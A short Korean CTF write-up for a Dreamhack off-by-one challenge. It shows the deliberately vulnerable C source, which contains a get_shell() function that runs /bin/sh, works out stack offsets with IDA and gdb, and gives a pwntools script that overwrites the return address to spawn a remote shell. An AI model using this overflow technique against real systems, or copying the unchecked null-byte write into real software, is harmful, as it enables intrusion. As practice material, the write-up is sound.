#include <stdio.h>#include <stdlib.h>#include <signal.h>#include <unistd.h>void alarm_handler()
{
puts("TIME OUT");
exit(-1);
}
void initialize()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void read_str(char *ptr, int size)
{
int len;
len = read(0, ptr, size);
printf("%d", len);
ptr[len] = '\\0';
}
void get_shell()
{
system("/bin/sh");
}
int main()
{
char name[20];
int age = 1;
initialize();
printf("Name: ");
read_str(name, 20);
printf("Are you baby?");
if (age == 0)
{
get_shell();
}
else
{
printf("Ok, chance: \\n");
read(0, name, 20);
}
return 0;
}
문제의 소스코드는 위와 같다.
입력을 받고 해당 선언된 변수가 0일때 플래그를 출력할 수 있게 Shell을 실행시킨다.
하지만 선언된 변수가 1로 지정이 되어있기에 버퍼오버플로우를 일으켜 임의로 값을 변경시키거나 또는 RET 주소까지 덮어 씌어 get_shell 주소를 실행시키면 될 거 같다.
위에 짠 시나리오대로 페이로드를 작성하고 익스플로잇을 하면 될 거 같다.

ida를 통해 디컴파일한 결과이다.
입력 받는 v4 는 ebp-0x18 에 위치해 있으며 선언된 변수는 ebp-0x4 에 위치해 있다.
0x18 - 0x4 ==> 0x14 ---> 20 두 사이의 거리는 20인 걸 알 수 있다.
RET 까지 거리는 20 + 4 로 24로 나올 수 있다.
이후 get_shell 함수의 시작 주소는 gdb를 통해 손 쉽게 구할 수 있다.

그렇게 작성한 페이로드는 다음과 같다.
from pwn import *
p = remote("host3.dreamhack.games", 22556)
e = ELF('./off_by_one_001')
context.arch = 'i386'
p.recvuntil("Name: ")
offset = 24
payload = b'A' * offset + p32(0x08048641)
p.sendline(payload)
p.interactive()
result = p.recv(1000)
print(result)

야호 ! 성공이다.